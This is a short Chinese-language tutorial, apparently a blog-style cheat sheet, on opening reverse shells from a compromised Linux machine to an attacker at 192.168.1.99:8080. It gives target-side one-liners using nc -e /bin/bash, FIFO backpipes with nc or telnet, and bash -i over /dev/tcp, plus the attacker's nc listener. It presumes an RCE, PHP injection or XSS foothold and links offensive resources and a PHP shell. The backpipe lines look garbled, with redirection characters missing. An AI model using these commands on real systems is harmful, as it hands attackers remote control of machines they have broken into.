前提: 你自己可以运行简单的命令 或者 通过服务器的远程命令执行漏洞让服务器用户运行命令 或者 通过 某种php注入xss让有权限的用户运行命令
目标机器上执行
nc 192.168.1.99 8080 -e /bin/bash
选项解释 -e filename连接后执行的程序的文件名(非常危险,哈哈)
在攻击者的机器上运行
nc -n -vv -l -p 8080
选项解释-n不做DNS解析,只显示连接上来的客户端的IP地址-vv 详细的verbose信息-l 监听模式 -p 端口
当nc编译时 GAPING_SECURITY_HOLE选项关掉,在运行时就不能使用”-e”选项我们可以建立一个FIFO文件系统对象,把它作为一个后门管道.从netcat到/bin/bash管道传递的命令的输出 通过 这个后门管道 传回给netcat
目标机器上执行
mknod backpipe p && nc 192.168.1.99 8080 0backpipe
在攻击者的机器上执行
nc -n -vv -l -p 8080
上面两种的不足之处是标准输出 通过backpipe传回了,但是 错误输出还是 留在目标机器上
下面介绍直接使用bash的方法, 错误输出也可以直接显示给攻击者的机器目标机器运行下面的命令
/bin/bash -i > /dev/tcp/192.168.1.99/8080 0<&1 2>&1
攻击者机器上还是运行
nc -n -vv -l -p 8080
不使用/dev/tcp设备的方法目标机器运行
mknod backpipe p && telnet 192.168.1.99 8080 0backpipe
攻击者运行
nc -n -vv -l -p 8080
参考资料
http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
http://blog.famzah.net/2012/01/06/bind-a-shell-on-linux-and-reverse-connect-to-it-through-a-firewall/
http://www.offensive-security.com/metasploit-unleashed/Binary_Linux_Trojan
PHP实现
https://code.jd.com/zhiwei/jae_status/blob/master/shell.php